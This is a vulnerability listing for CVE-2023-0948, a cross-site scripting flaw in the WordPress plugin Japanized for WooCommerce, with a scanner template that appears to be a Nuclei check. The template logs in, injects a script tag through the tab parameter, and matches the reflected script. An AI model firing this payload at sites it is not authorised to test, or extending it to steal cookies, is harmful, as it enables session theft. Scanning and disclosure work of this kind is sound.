CVE-2023-0948: WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting

2025-08-01 WordPress Japanized for WooCommerce PoC Public

Description

WordPress Japanized for WooCommerce plugin before 2.5.8 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2023-0948

info:
  name: WordPress Japanized for WooCommerce <2.5.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Japanized for WooCommerce plugin before 2.5.8 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 2.5.8.
  reference:
    - https://wpscan.com/vulnerability/a78d75b2-85a0-41eb-9720-c726ca2e8718
    - https://wordpress.org/plugins/woocommerce-for-japan/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0948
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0948
    cwe-id: CWE-79
    epss-score: 0.0085
    epss-percentile: 0.56377
    cpe: cpe:2.3:a:artisanworkshop:japanized_for_woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: artisanworkshop
    product: japanized_for_woocommerce
    framework: wordpress
  tags: cve,cve2023,wpscan,xss,woocommerce-for-japan,wordpress,wp-plugin,wp,authenticated,artisanworkshop,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=peachpay&tab=field&"><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "peachpay")'
        condition: and
# digest: 4a0a00473045022100b30b0b6abe79995dcd09cee0ee9a61c44822a188348ee5d3a41402c05e2392d1022027a0ce33d1c2ca08712a04439cbee474d68da30201b66a48dc46712227e807c3:922c64590222798bb761d5b6d8e72950

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